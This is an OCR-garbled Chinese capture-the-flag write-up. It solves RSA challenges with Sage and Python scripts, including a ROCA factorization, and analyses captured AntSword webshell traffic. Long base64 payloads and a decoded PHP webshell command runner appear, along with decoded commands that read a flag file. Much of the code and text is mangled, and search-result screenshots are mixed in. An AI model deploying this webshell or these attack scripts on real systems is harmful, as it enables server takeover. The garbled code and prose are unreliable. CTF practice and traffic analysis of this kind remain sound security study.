135813272566456906193934636644217527100917542578856697

140758317578347635848563045232314610161039815135897421

385788223643735590500185001710758495904528462058461

576581905150085393327734090419529952232186498060949

1656848589754467667368312855929759764100120657831

2714357008989072105081411295741540337141142641741

7832299017937880395583715032476962329929226581

10726403821316775206273675267109184566904426261

24335212484189159197840692460327461505035059

43974782968656404951924524450501283426052127

88067722275537586769787599991567203589751

88380889077762105057154017276462714444697

232079231415308325450092906880606082069

295185057334340451492588650872876746227

953730950786751671162019537171974567

1189933229053113361422958527792232151

def solve(p, gq, ¢, e, n_):

PolynomialRing(Zmod(p), implementation




P. PolynomialRing(Zmod(q), implementation
g e - ¢

mgs g.monic().roots()

for mpp in mps:
X = mpp[@]
for mgqgq in mgs:
y = mqq[0]
solution CRT_1ist([ (x), (y)1l, [p, 9l)
if solution n_:

solutions.append(solution)

[]
[]
[]

iin (0, 27):
solutions []
i=26-1
print(i)
print( , C)

(
print('p*,p[-1])

(
print('q’, q[-1])
if i 0:

break

( . (i-1))
print( >, n_[-11)
solve(p[-1], q[-1], c, e, n_[-1])
print(solutions)
if i 21:

C solutions([0]
elif i==9:

C solutions[-2]
elif i==5:

C solutions[9]
else:

C solutions[-1]
print()

q[-1]

.<a>=PolynomialRing(Zmod(p),implementation
f=a”e-c
mps=f.monic().roots()

P.<a>=PolynomialRing(Zmod(q), implementation
g=a’e-c
mgs=g.monic().roots()

for mpp in mps:
X=mpp[0]




for mgq in mgs:

y=mqq[e]
solution = CRT_list([int(x), ¥)1, [p, al)
if in (libnum.n2s( (solution))):

print(libnum.n2s( (solution)).decode())

easy_real

import random

import hashlib

random.randint(1,10)
(len(flag)):
(ord(flag[i])"key)
cryptof 7Sk
e random.randint(1,100)
print(hashlib.md5(e))
p 64310413306776406422334034047152581900365687374336418863191177338901198608319
g = XXXXXXXXXXXXXXXXXXXXXKXXXXXXXKXXXXXXXKXXXXXXX XXX XXXXKXXXX XXX XXX XXXX XXX X XXX KXXXX XXX
n =pq
C (m,e,n)
print(n)
print(c)

1 B ) 25 ) R

Z:emd5 _E 7 37693cfc748049e45d87b8c7d8b9aacd 133 e=23
K1iEp- n, g = n// p; phiAl3R

Hhitrsa, fEHm

183 'ndios_;9kgE;WK8e;W?gWn<\;k|nu"

HEE, Biikey

BREMER, flagh/s —H %2 )

M3, key=8

#BifGflag

import gmpy2, libnum

n 419735662257669656449056906068624008888418711356643013446194513077090682518789439467284146735079701594072156
0434743086405821584185286177962353341322088523

c= 3298176862697175389935722420143867000970906723110625484802850810634814647827572034913391972640399446415991848
730984820839735665233943600223288991148186397
p 64310413306776406422334034047152581900365687374336418863191177338901198608319

d




(gmpy2.invert(e, phi))
(pow(c, d, n))
(m))




flag{W31coM3_COm3_70_f4T3ctf}

CVEOF RSA | 5 E I

HERIEEE T il 1T ER B EE, SR EIK

[e] Jit 24 b B 15 7, EE SRR 1R] 910: 00 - 18:00
T ZRBI TR R B AR T 213 E & T
TRAH TR RANE (AKRBEBK

FIHILEA R

R, ABEAIETR

RNABE, UONERHARCEEE, REMILERA

CGRUZFERE T =AM, BIEBOERR, BB

BAEE, &TRBCVEX N Kpaperfs, BABEITUERCHK. BRKAL

(KRR EBAE T, AR+, BRWORIER T, MEXERERFHERT

&, RBATE R T AN+

R T IR 8E

The Return of Coppersmith’s Attack

Yandex p=k*M+(65537**a %M)

Web Images Video News Translate Disk Mail Ads

oy, Q/U I, WITSIT 1 13 LIS PITVIVUD /ATy PIvuuct.

[E rsa- How does the ROCA attack work? - Cryptography Stack...
crypto.stackexchange.com > ...53906...roca-attack-work... ==«
Last seen today - p=k+M+(65537a mod M). The 65537 (=0x10001). might look a little odd
hardcoded, but it's a common choice for the public exponent of an RSA key as it has a low
hamming weight and thus allows some speed gains in common public key operations.

A real ROCA using Bootstrap, jQuery, Thymeleaf, Spring...
blog.csdn.net > weixin_30390075/article/details... *-
BERT: p=k*M+(65537**a %M) T HERIN— " EiE.pyXfF, flag.encHl— 7 pub.pem &
ERE, RUMRREENrsa, KEZHBpubE/AAnflextflag#tiT 7%,


https://4xwi11.github.io/posts/9171e9d7/
https://crocs.fi.muni.cz/_media/public/papers/nemec_roca_ccs17_preprint.pdf

Bl For The Building A More Trusted World: Countries... | Medium
medium.com > asecuritysite...met-alice...a-more...time... *+-

p=k x M+655372 (mod M). where k and a are unknown integers when cracking and M is the
multiplication of the first n prime numbers. ... M=M*primes[x] p=k+M+(65537**a %M) print
="M print 'p=',p. So for a=12, and k=3, and for the first 39 prime numbers used to...

> The Return of Coppersmith's Attack:Practical Factorization of...
crocs.fimuni.cz > _media/public/papers...preprint.pdf ---

p=k + M+ (65537a mod M ). (1). e integers k, a are unknown, and RSA
primes di er only in. ... for some integer c. e public modulus N is generated by 65537 in the
multiplicative group Z«M . e existence of the discrete loga-rithm ¢ =10g65537 N mod M is
used as the...

@ View

BERS, AiZEEONK, LgithubBREFFIE!
HERZRRRIA, ’AmRENH
SHAHWi I EHER B

174 JROCA (Return of Coppersmith’s attack) ¥gifl. BiEER— TR, —SEARH L EERE=AERSARRGH, XFE=4E
M AHANST AR — /MBS, HETMEGES, XS DR RBE R S &, Maf#n
BENOERGE TREHEMK LD, HHhMAEROCA, Fr.https:/github.com/jvdsn/crypto-attacks.git

FIFH G R, FEroca.py FEM(NAEENLH1EK)

logging.basicConfig(level=1ogging.DEBUG)

M 962947420735983927056946215901134429196419130606213075415963491270

N 1448136358091735887147299641047176715448104706746616759129820894780546200227553155297947598862796425667
7709787930755013972295770123571982960720640872341517

b, q_ factorize(N, M, 5, 6)

print(

Hem =5, t=63RFEWT:

def factorize(N, M, m, t, g=65537):



https://en.wikipedia.org/wiki/ROCA_vulnerability

SHIRYE L L The Return of Coppersmith’s Attack: Practical Factorization of Widely Used RSA
Moduli(https://acmccs.github.io/papers/p1631-nemecA.pdf), nZ&512467K1, NWmATtsHIELSFI6

keys of a given size. We used a dataset of RSA keys of given sizes
(512 to 4096 bits, by 32-bit increments) with known factorizations
and having our special form (2). The approximate size of the opti-
mized M’ for various key lengths can be found in Figure 1. The most
common key lengths used the following m, t values: m = 5,t = 6
for5122 m=4.t =5for 1024, m= 6,1t = 7 for 2048, m = 25.t = 26
for 3072, m = 7,t = 8 for 4096.

T Fsagef@f® [ Linux or (38)Unix &4 |

#iGsage conda activate sage
P ATrocafB i A sage -python roca.pyfiZixt iz

Szl s ES, DRI

DEBUG: root:Reconstructed 11 polynomials
DEBUG:root:Using univariate polynomial to
DEBUG:root:Generating shifts...
DEBUG:root:Filling the lattice (11 x 11)...
DEBUG:root:Executing the LLL algorithm...
DEBUG:root:Reconstructing polynomials...
DEBUG:root:Reconstructed 11 polynomials
DEBUG:root:Using univariate polynomial to
DEBUG: root:Generating shifts...
DEBUG:root:Filling the lattice (11 x 11)...
DEBUG:roo0t:Executing the LLL algorithm...
DEBUG:root:Reconstructing polynomials...
DEBUG: root:Reconstructed 11 polynomials
DEBUG:root:Using univariate polynomial to
DEBUG:root:Generating shifts...
DEBUG:root:Filling the lattice (11 x 11)...
DEBUG:root:Executing the LLL algorithm...
DEBUG: root:Reconstructing polynomials...
DEBUG:root:Reconstructed 11 polynomials
DEBUG:ro0t:Using univariate polynomial to
DEBUG:root:Generating shifts...
DEBUG:root:Filling the lattice (11 x 11)...
DEBUG:root:Executing the LLL algorithm...
DEBUG:root:Reconstructing polynomials...
DEBUG:root:Reconstructed 11 polynomials
DEBUG:root:Using univariate polynomial to find
DEBUG: root:Generating shifts...
DEBUG:root:Filling the lattice (11 x 11)...
DEBUG:root:Executing the LLL algorithm...
DEBUG:root:Reconstructing polynomials...
DEBUG:root:Reconstructed 11 polynomials
DEBUG:root:Using univariate polynomial to find roots...
Found p = 111425929610175462966231922510304239063491575573222700849341403103622849511679 and
q = 129964036482177256444505240482938730532498372430648951070700710194345995195123




E#RSAKMEM

from Crypto.Util.number import

from gmpy2 import invert

n 14481363580917358871472996410471767154481047067466167591298208947805462002275531552979475988627964
256677709787930755013972295770123571982960720640872341517
C 36798925648889369505429401409029637438417179398180256965586260529715557902040734160470687096680406)
86939721666022034628127241497612925260505783618939964139

111425929610175462966231922510304239063491575573222700849341403103622849511679
129964036482177256444505240482938730532498372430648951070700710194345995195123
(p-1) * (9-1)
invert(0x10001, phi)
(c, d, n)

print(long_to_bytes(m))

L&/

o AT HEMEHEE

o H—WIARL TCVEEH

o T35 T fFRE AL AR R ) R 4

o KRBT —/IF I Crypto-attack & FE
Misc
] & A &
W&

easyflow



SeFwiresharki i A HTTP &5 5 tH

@ BinDunDun
W FileRecvy

il firefoxDowonl

OneDrive - Per:

8 A360 Drive

B s

KT —TF
FEENDEITERIRE

93748ef4./ 2022-04-05 20:30:07 128 0700
../ 2022-04-05 20:30:05 384 0700
.DS_Store 2022-04-05 20:30:12 6148 0644

index.php 2022-04-05 20:11:46 34 0666
3f17a75c06

HANMEKIL T flag.tet




4304dd6cf6d./ 2022-04-05 20:30:05 384 0700
../ 2022-04-05 20:29:55 3424 0755

mess/ 2022-03-15 18:13:29 384 0755

test/ 2022-04-05 20:30:07 128 0700

dir/ 2022-03-31 10:42:34 512 0700

rips/ 2022-02-25 09:16:57 384 0775

CMS/ 2022-01-20 09:29:06 384 0755

testd4/ 2022-03-31 17:33:39 384 0700

localhost/ 2022-04-04 17:21:59 640 0775

.DS_Store 2022-04-05 20:30:07 8196 0644

flag.txt 2022-04-05 20:14:30 84 0644
Mccms_v2.5.7.zip 2022-03-31 15:11:18 12986995 0644
8197fel8fb2b

RIGEFITNENE1NME R T K Fllagi LR
17

f9aa250head: illegal line count -- ../flag.txt
[S]

/Users/chang/Sites/test

[E]

13e3b9

625fe869b49eYes,this is the flag file.
And the flag is:

[S]

/Users/chang/Sites/test

[E]

63cldbfle811

TRITED T E16N BN E



a=%40eval (%40base64_decode (%24_POST%5B'kclb@lee4a605 ' %5D) )%3B&e57fb9c067c677=E8&g479cf6F058cf8=hnY2QgIi9Vc2Vycy9
jaGFuZy9TaXR1cy90ZXNOIjtoZWFkIC1uIC4uL2ZsYWcudHhO02VjaG8gW1NdO3B3ZDt1lY2hvIFtFXQ%3D%3D&kc1lboleed4a605=QGluaV9zZXQo
ImRpc3BsYX1fZXJyb33zIiwgIjAiKTtAc2VOX3RpbWVFbGltaXQoMCk7ZnVuY3Rpb24gYXN1bmMoJG91dC17cmVOdXIJuICRvAXQ7fTtmdW5]jdGly|
biBhc291dHB1dCgpeyRvdAXRwdXQ9b2IZ2VOX2NvbnR1bnRzKCk7b2IfZW5kX2NSZWFuKCk7ZWNobyAiZj1lhIi4iYTI1IMCI7ZWNobyBAYXN1bmMo
JG91dHB1dCk7ZWNobyAiMTN1Ii4iM2I5Ijt9b2Ifc3RhcnQoKTtOcn17IHASYMFzZTYOX2R1Y29kZShzdWIzdHIoIFOQTINUWYIVMWZhZWIKNGV
M2Q5NyJdLDIpKTskcz1iYXNINjRFZGVjb2R1KHN1YNNOcigkX1BPU1RbIMcONz1jZjZmMDUAY2Y4I10sMikpOyR1bnZzdHI9QGIhc2U2NFOKZWNY,
ZGUoc3Vic3RyKCRFUESTVFsiZTU3ZmI5YzA2N2M2NzciXSwyKSk7IGQ9ZGlybmFtZSgkXINFU1ZFU1siUBNSSVBUXOZITEVOQU1FI10pOyRjPXN]
YNNOcigkZCwwLDEpPTOiLyI%2FIiljIFwieyRzfVwiIjoil2MgXCI7IHNOXCIi021mKHN1YnNOcigkZCwwLDEpPTOiLyIpe@BwdXR1bnYoI1BBVE
g9Ii5nZXR1bnYoI1BBVEgiKS4i0i91c3IvbG9jYWwvc2IpbjovdXNyL2xvY2FsL2IpbjovdXNyL3NiaW46L3Vzci9iaW46L3NiaW46L2IpbiIp03
11bHN1e@BwdXR1bnYoI1BBVEg9Ii5nZXR1bnYoI1BBVEgiKS4i0@M6L1dpbmRvd3Mvc31zdGVtMzI7QzovV21uZG93cy9TeXNXT1c2NDtDOi9Xal
5kb3dz00M6L1dpbmRvd3MvU31zdGVtMzIvV21uZG93c1Bvd2VyU2hlbGwvdjEUMC87Iik7fW1mKCF1bXBOeSgkZW52c3RyKS17IGVudmFycjlleH
Bsb2R1KCI8fHxhc2xpbmV8fHwilLCAkZW52c3RyKTtmb3I1YWNoKCR1bnZhcnIgYXMgIHYpIHtpZiAoIWVtcHR5KCR2KSkge@BwdXR1bnYoc3RyX3
J1cGxhY2UoInx8fGFza2V5fHx8IiwgIjOilCAkdikp0319fSRyPSI7IHBIIHskY30i02Z1bmNOaWOuIGZ1KCRmKXskZD11eHBsb2R1KCIsIixAaW
5pX2d1dCgizZGlzYWIsZVOmdW5jdGlvbnMiKSk7aWYoZWlwdHkoJGQpKXskZD1hcnJheSgp0311bHNleyRkPWFycmF5X21hcCgndHIpbScsYXIyYX
1fbWFwKCdzdHI®b2xvd2VyJywkZCkp031yZXR1lcm4oZnVuY3Rpb25fZXhpc3RzKCRMKSYmaXNfY2FsbGFibGUoJGYpJiYhaW5fYXJIyYXkoJGYsJIG
QpKTt902Z1bmNOaWOuIHI1bnNoZWxsc2hvY2s0JGQsICRjKSB7aWYgKHN1YnNOcigkZCwgMCwgMSkgPTOgIi8iICYMIGZ1KCdwdXR1bnYnKSAmIi
AoZmUoJ2Vycm9OyX2xvZycpIHX8IGZ1KCdtYW1sIykpKSB7aWYgKHNOcnNOcihyZWFkbGluaygil2Ipbi9zaCIpLCAiYmFzaCIpICESIEZBTFNFKS
B7JHRtcCA9IHR1IbXBuYWO0c31zX2d1dF90ZW1wX2RpcigpLCANYXMNKTtwdXR1bnYoI1BIUFOMTOWIOKCkgeyB40yBOOyAkYyA%2BIHRtcCAYyPiYX
Iik7alWYgKGZ1KCdlcnJvcl9sb2cnkKSkge2Vycm9OyX2xvZygiYSIsIDEpO30gZWxzZSB7bWFpbCgiYUAXMjcuMCAwLFEILCALITiwgIiIsICItYnYi
KTt9fSB1bHNI1IHtyZXR1cm4gRmFsc2U7{fSRvAXRwdXQgPSBAZm1sZVOnZXRfY29udGVudHMoJHRtcCk7QHVubGluaygkdGlwKTtpZiAoIG91dHB
dCAhPSAiIikge3ByaW50KCRvdAXRwdXQp03J1dHVybiBUcnV10319cmVOdXIJuIEZhbHN10307ZnVuY3Rpb24gcnVuY21kKCRjKXskecmVOPTA7JIGQ9
ZGlybmFtZSgkX1INFU1ZFU1lsiUONSSVBUXOZITEVOQU1FI10p021mKGZ1KCdzeXNOZWONKS17QHN5c3R1bSgkYywkcmVOKTtOZWxzZW1mKGZ1KCdw
YXNzdGhydScpKXtAcGFzc3RocnUoJGMsJHI1dCk7fWVsc2VpZihmZSgnc2hlbGxfZXhlYycpKXtwemludChAc2hlbGxfZXh1lYygkYykpO311bHN1
alWYoZmUoJ2V4ZWMNKS17QGV4ZWMoIGMsJG8sIHI1dCk7cHIpbnQoam9pbigiCiIsIG8pKTtOZWxzZWImKGZ1KCdwb3B1lbicpKXskZnA9QHBvCcGVu
KCRjLCdyJyk7d2hpbGUoIUBmMZWOmMKCRmcCkpe3ByaW50KEBmMZ2V0OcygkZnAsMjABOCkpO31AcGNsb3NIKCRmcCk7fWVsc2VpZihmZSgncHIvY19y
cGVuJykpeyRwIDOgQHBYb2Nfb3B1lbigkYywgYXJyYXkoMSA9PiBhcnJheSgncGlwZScsICd3JyksIDIgPT4gYXJyYXkoI3BpcGUnLCAndycpKSwg
JG1vKTt3aGlsZSghQGZ1b2YoIJGlvWzFdKS17cHIpbnQoQGZnZXRzKCRpb1sxXSwyMDQAKSk7fXdoaWx1KCFAZmVvZigkaW9bM1OpKXtwcmludChA
Zmd1dHMoJG1vWzIdLDIWNDgpKTt9QGZjbG9zZSgkaW9bMVOp0OBmY2xvc2UoIJGlvWzIdKTtAcCHIVY19jbG9zZSgkcCk7fWVsc2VpZihmZSgnYW50
c31zdGVtIykpe®BhbnRzeXNOZWO0IGMpO311bHNlaWYocnVuc2hlbGxzaG9jaygkZCwgIGMpKSB7cmVOdXIJuICRYyZXQ7fWVsc2VpZihzdWIzdHIo
JGQSMCwxKSE9Ii18iICYmIEBjbGFzc191eGlzdHMOIKNPTSIpKXskdz1uZXcgQOONKCdXU2NyaXBOLnNNoZWxsJyk7IGU9IHctPmV4ZWMoIGMpOyRz
bz0kZS0%2BU3RKT3VOKCk7IHI1dC49IHNVLTS5SZWFkQWxsKCk7IHNIPSRILTS5TdGRFcnIoKTskecmVOLjOkc2UtP1I1YWRBbGwoKTtwecmludCgkem
OKTt9ZWxzZXskcmVOIDOgMTI3031yZXR1cm4gIHI1dDt90yRyZXQ9QHI1bmNtZCgkci4iIDI%2BIjEiKTtwcmludCAoJHI1dCEOMCk%2FInJ1dD
17JHI1dHO10iIi0zt9Y2FOY2goRXhjZXBOaWOUICRIKXt1lY2hvICIFUL1JPUjovLyIuJGUtPmd1dE11c3NhZ2UoKTt902Fzb3VOcHVOKCk7ZG11K(
k7&01faebd4ec3d97=jmL2Ipbi9zaA%3D%3D

—RTE, B Lphp RiELdE—T



array(4) {
[" GET"]=>
array(0) {
¥
[" _POST"]=>
array(5) {
["cmd"]=>
string(76) "var_dump(get_defined_vars());@eval(@base64_decode($_POST['kclb@leed4a605']));"
["e57fb9cO67c677"]=>
string(2) "E8"
["g479cf6fO58cF8" |=>
string(98) "hnY2QgIi9Vc2Vycy9jaGFuZy9TaXR1lcy90ZXNOIjtoZWFkIC1uIC4uL2ZsYWcudHh@02VjaG8gWiNdO3B3ZDt1lY2hvIFtFXQ

["kclboleed4a605" ]=>
string(3476) "QGluaV9zZXQoImRpc3BsYX1fZXJyb3JIzIiwgIjAiKTtAc2VOX3RpbWV{bGltaXQoMCk7ZnVuY3Rpb24gYXN1bmMoIG91d(
17cmVOdXJuICRvdXQ7FTtmdW5jdGlvbiBhc291dHB1dCgpeyRvdAXRwdXQ9b2IfZ2VOX2NvbnR1bnRzKCk7b2IfZW5kX2NsZWFuKCk7ZWNobyAiZj
1hIi4iYTIIMCI7ZWNobyBAYXN1bmMoJG91dHB1dCk7ZWNobyAiMTN1Ii4iM2I5Ijt9b2Ifc3RhcnQoKTtOcn17JHA9YmMFZzZTYOX2R1Y29kZShzdW
JzdHIoJFOQTINUWYIVMWZhZWIKNGVjM2Q5NyJdLDIpKTskcz1iYXNINjRFZGVjb2R1KHN1YnNOcigkX1BPU1IRbIMcONz1jZjZmMDU4Y2Y4I10sMi
kpOyR1bnZzdHI9QGIhc2U2NF9kZWNvZGUoc3Vic3RyKCRFUESTVFsiZTU3ZmI5YzA2N2M2NzciXSwyKSk73GQ9ZGlybmFtZSgkX1INFU1ZFUlsiUe)
NSSVBUXOZITEVOQU1FI10pOyRjPXN1YnNOcigkZCwwLDEpPTOiLyI/Ii1jIFwieyRzfVwiIjoil2MgXCI7IHNOXCIi021mKHN1YNNOcigkZCwwLDj
EpPTOilLyIpe@BwdXR1bnYoI1BBVEE9Ii5nZXR1bnYoI1BBVEgiKS410i91c3IvbG9jYWwvc2IpbjovdXNyL2xvY2FsL2IpbjovdXNyL3NiaW46L3
zci9iaW46L3NiaW46L2IpbiIp0311bHN1e®BwdXR1bnYoI1BBVEE9Ii5nZXR1bnYoI1BBVEgiKS4i00M6L1dpbmRvd3Mvc31zdGVtMzI7QzovV2
1uZG93cy9TeXNXT1c2NDtDOi9XaW5kb3dz0@M6L1dpbmRvd3MvU31zdGVtMzIvV21uZG93c1Bvd2VyU2hlbGwvdjEuMC87Iik7fW1mKCF1bXB0eS
gkZW52c3RyKS17IGVudmFycjlleHBsb2R1KCI8FHxhc2xpbmV8fHwWiLCAkZW52c3RyKTtmb3I1YWNoKCR1bnZhcnIgYXMgIHYpIHtpZiAoIWVtcH
R5KCR2KSkge@BwdXR1bnYoc3RyX331cGxhY2UoInx8fGFza2V5fHx8IiwgIjOilCAkdikp0319fSRyPSJI7IHBOIHskY30102Z1bmNOaWOuIGZ1K(
RmKXskZD11eHBsb2R1KCIsIixAaW5pX2d1dCgiZGlzYWIsZVOmdW5jdGlvbnMikSk7aWYoZWlwdHkoJGQpkXskZD1hcnJheSgp0311bHNleyRkPW
FycmF5X21hcCgndHIpbScsYXIyYX1fbWFwKCdzdHI@b2xvd2VyJywkZCkp031yZXR1cm4oZnVuY3Rpb25fZXhpc3RzKCRMKSYmaXNfY2FsbGFibG
UoJGYpJiYhaW5fYXJyYXkoJGYsJIGQpKTt902Z1bmNOaWOuIHI1bnNoZWxsc2hvY2s0JGQsICRjKSB7aWYgKHN1YnNOcigkZCwgMCwgMSkgPTOgI 1
81iICYMIGZ1KCdwdXR1bnYnKSAmJiAoZmUoJ2Vycm9OyX2xvZycpIHx8IGZ1KCdtYW1lsJykpKSB7aWYgKHNOcnNecihyZWFkbGluaygil2Jpbi9za(
IpLCAiYmFzaCIpICEOIEZBTFNFKSB7JHRtcCA9IHR1bXBuYWO0c31zX2d1dF90ZW1wX2RpcigpLCANYXMnKTtwdXR1bnYoI1BIUFOMTOWIKCkgey|
B40yB90yAkYyA+JHRtcCAyPiYxIik7aWYgKGZ1KCdlcnJvcl9sb2cnKSkge2VycmOyX2xvZygiYSIsIDEpO30gZWxzZSB7bWFpbCgiYUAxM]jcuM(
AWLJEILCAITiwgIiIsICItYnYiKTt9fSB1bHN1IHtyZXR1cm4dgRmFsc2U7fSRvdXRwdXQgPSBAZm1sZVInZXRFY29udGVudHMoIHRtcCk7QHVubG
luaygkdGlwKTtpZiA0JG91dHB1dCAhPSAiIikge3ByaW50KCRvdAXRwdXQp03J1dHVybiBUcnV10319cmVOdXJUuIEZhbHN10307ZnVuY3Rpb24gcn
uY21kKCRjKXskcmVOPTA7IGQOZGlybmFtZSgkXINFU1ZFU1siUGNSSVBUX@ZITEVOQU1FI10p021mKGZ1KCdzeXNOZWONKS17QHN5c3R1bSgkYyi
wkcmVOKTt9ZWxzZW1mKGZ1KCdwYXNzdGhydScpKXtAcGFzc3RocnUoJGMsIHI1dCk7fWVsc2VpZihmZSgnc2hlbGxfZXh1lYycpkKXtwecmludChAc2
h1bGxfZXhlYygkYykpO311bHNlaWYoZmUoJ2V4ZWMnKS17QGV4ZWMoIGMsJIG8sIHI1dCk7cHIpbnQoam9pbigiCiIsJIG8pKTt9ZWxzZWImKGZ1K(
dwb3B1bicpKXskZnA9QHBvcGVUKCRjLCdyJyk7d2hpbGUoIUBmMZWOMKCRmcCkpe3ByaW50KEBmMZ2VecygkZnAsMjABOCkp0O31AcGNsb3N1KCRmc(
k7fWVsc2VpZihmZSgncHIvY19vcGVulykpeyRwIDOgQHBYb2Nfb3B1lbigkYywgYXJyYXkoMSA9PiBhcnJheSgncGlwZScsICd3JyksIDIgPT4gYX
JyYXkoJ3BpcGUnLCANdycpKSwgIGlvKTt3aGlsZSghQGZ1b2YoJGlviWzFdKS17cHIpbnQoQGZnZXRzKCRpb1sxXSwyMDQAKSk7fXdoaWx1KCFAZm
vZigkaW9bM1OpKXtwcmludChAZmd1dHMoJG1lviWzIdLDIWNDgpKTt9QGZjbG9zZSgkaW9bMVOpOOBmMY2xvc2UoJGlviWzIdKTtAcHIVY19jbG9zZS
gk cCk7fWVsc2VpZihmZSgnYW50c31zdGVtIykpe@BhbnRzeXNOZWO0oIGMpO311bHNlaWYocnVuc2hlbGxzaG9jaygkZCwgIGMpKSB7cmVOdXJuI(
RyZXQ7fWVsc2VpZihzdWJzdHIoJGQsMCwxKSE9Ii8iICYmIEBjbGFzc191eGlzdHMOIKNPTSIpKXskdz1uZXcgQOINKCAXU2NyaXBOLNNoZWxsJy|
k73GU9IHCctPmV4ZWMoIGMpOyRzbzOkZS@O+U3RKT3VOKCk7IHI1dC49IHNVLT5SZWFkQWxsKCk7IHNIPSRILT5TdGRFcnIoKTskemVOLjOkc2UtP1
J1YWRBbGwoKTtwcmludCgkcmVOKTt9ZWxzZXskcmVOIDOgMTI3031yZXR1cm4gIHI1dDt90yRyZXQ9QHI1bmNtZCgkci4iIDI+JjEiKTtwemlud(
A0JHI1dCESMCk/InJ1dD17JHI1dHOi0iIi0zt9Y2FOY2goRXhjZXBOaWOuICR1KXt1Y2hvICIFU1IPUjovLyTIuJGUtPmd1dE11c3NhZ2UoKTt902
Fzb3VOcHVOKCk7ZG11KCk7"
["olfaebd4ec3d97"]=>
string(14) "jmL2Jpbi9zaA=="

BHEAE —THRKHK kclboleedasos

@set_time_limit(@);
function asenc($out)

{

return $out;




function asoutput()
{
$output ob_get contents();
ob_end_clean();
echo ;
echo @asenc($output);

]

base64 decode(substr($ POST[
base64 decode(substr($ _POST[
$envstr = @base64_decode(substr($_POST[
$d = dirname($_SERVER[ 1;
$c substr($d, 0, 1) {$s}
if (substr($d, o, 1) ) {
@putenv( getenv(
} else {
@putenv( getenv(
)
)i
if (!empty($envstr)) {
$envarr explode( , $envstr);
foreach ($envarr as $v) {
if (lempty($v)) {
@putenv(str_replace(

$r {$p} {$c}";
function fe($f)
{
$d = explode( , @ini_get(
if (empty($d)) {
$d array();
} else {
$d array_map( , array_map( , $d));
)i
return (function_exists($f) is_callable($f) in_array($f, $d));

function runshellshock($d, $c)
{
if (substr($d, 0, 1) fe( ) (fe(
if (strstr(readlink( ) ) FALSE) {
$tmp = tempnam(sys_get temp_dir(), )
putenv ( $c >$tmp )
if (fe( ) A
error_log( , 1);
} else {
mail(
)i
} else {
return False;
)i
$output = @file get contents($tmp);




@unlink($tmp);
if ($output ) {
print($output);

return True;

}

return False;

function runcmd($c)
{
$ret 0;
$d = dirname($_SERVER[
if (fe( ) o
@system($c, $ret);
} elseif (fe( )) {
@passthru($c, $ret);
elseif (fe( )) {
print(@shell_exec($c));
elseif (fe( )) {
@exec($c, %0, $ret);
print(join(

elseif (fe( )) {
$fp = @popen($c, )
while (!@feof($fp)) {
print(@fgets($fp, 2048));
}
@pclose($fp);
elseif (fe( )) {

$p = @proc_open($c, array(l array ( )), $io);
while (!@feof($io[1])) {
print(@fgets($io[1], 2048));

)i
while (!@feof($io[2])) {
print(@fgets($io[2], 2048));

)i
@fclose($io[1]);
@fclose($io[2]);
@proc_close($p);

elseif (fe( )) {
@antsystem($c);

elseif (runshellshock($d, $c)) {
return $ret;

elseif (substr($d, 0, 1) @class_exists( )) {
$w = new COM( )
$e = $w->exec($c);
$so = $e->Stdout();
$ret $so->ReadAll();
$se = $e->StdErr();
$ret $se->ReadAll();
print($ret);

else {
$ret 127;

b

return $ret;




$ret @runcmd($r
print ($ret 9)

catch (Exception $e) {

$e->getMessage();

base64 decode(substr($ _POST["olfaebd4ec3d97"], 2));
base64_decode(substr($_POST["g479cf6f058cf8"], 2));

KN $_POST["olfaebddec3do7"] BILEHE,
BHEABERISSERNMHILE

cd "/Users/chang/Sites/test";head -n ../flag.txt;echo [S];pwd;echo

R e
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array(4) {
[" GET"]=>
array(0) {
}
[" _POST"]=>
array(5) {
["emd"]=>
string(77) "var_dump(get_defined_vars());@eval(@base64_decode($_POST['t142e029df18c6']));"
["e57fb9cO67c677"]=>
string(2) "rXx"
["g479cf6fO58cF8" |=>
string(98) "flY2QgIi9Vc2Vycy9jaGFuzZy9TaXR1lcy90ZXNOIjtoZWFKkICIuIDIgLi4vZmxhZy50eHQ7ZWNobyBbU107cHdk02VjaG8gho)

["ol1faebd4ec3d97"]=>
string(14) "VyL2Jpbi9zaA=="
["t14a2e029df18c6" ]=>
string(3492) "QGluaV9zZXQoImRpc3BsYX1fZXJyb3JzIiwgIjAiKTtAc2VOX3RpbWV{bGltaXQoMCk7ZnVuY3Rpb24gYXN1bmMolG91d(
17cmVOdXJuICRvdXQ7FTtmdW5jdGlvbiBhc291dHB1dCgpeyRvdAXRwdXQ9b2IfZ2VOX2NvbnR1bnRzKCk7b2IfZW5kX2NsZWFuKCk7ZWNobyAiNj
I1ZmU4TIi4iNj1iND11Ijt1Y2hvIEBhc2VuYygkb3VOcHVOKTt1Y2hvICI2M2MxZGIiliImMWU4MTELO31vY19zdGFydCgpO3RyeXskcD1iYXNINJ
RfZGVjb2R1KHN1YnNOcigkX1BPU1RbIM8xZmF1YmQOZWMzZDk3I10sMikpOyRzPWIhc2U2NFOkZWNvZGUoc3Vic3RyKCRFUESTVFsiZzQ30WNmNm
YWNThjZjgiXSwyKSk7IGVudnNOcj1AYmFzZTYOX2R1Y29kZShzdWIzdHIoJFOQTINUWYJINTdmYj1jMDY3YzY3NyJdLDIpKTskZD1kaXJuYW11KC
RFUOVSVKVSWyJITQ1IIJUFRFRKIMRUSBTUU1XSk7JIGM9c3Vic3RyKCRKLDASMSkOPSIVIj8iLlWMgXCI7IHNOXCIiOiIvYyBcInskc31cIiI7alWYoc3
1c3RyKCRKLDAsMSkOPSIvIil7QHB1dGVudigiUEFUSDOilmd1ldGVudigiUEFUSCIpLiI6L3Vzci9sb2NhbCO9zYm1u0i91c3IvbGojYWwvYmluOi
91c3Ivc2IpbjovdXNyL2Jpbjovc2IpbjovYmluIik7fWVsc2V7QHB1dGVudigiUEFUSDOilmd1ldGVudigiUEFUSCIpLiI7QzovV21uZG93cy9zeX
NOZWOzMjtD0i9XaW5kb3dzL1IN5c1dPVzYQ0OMEL1dpbmRvd3M7QzovV21uZG93cy9TeXNOZWOzMi9XaW5kb3dzUG93ZXITaGVsbCI2MS4wLzsiKT]
t9alWYoIWVtcHR5KCR1bnZzdHIpKXskZW52YXIyPWV4cGxvZGUoInx8fGFzbGluZXx8fCIsICR1bnZzdHIp02ZvemVhY2golGVudmFyciBhcyAkdi
kge21mICghZWlwdHkoJHYpKSB7QHB1dGVudihzdHIfcmVwbGFjZSgifHXx8YXNrZX18fHwilCAiPSIsICR2KSk7fX19IJHI9InskcHOgeyRjFSI7Zn
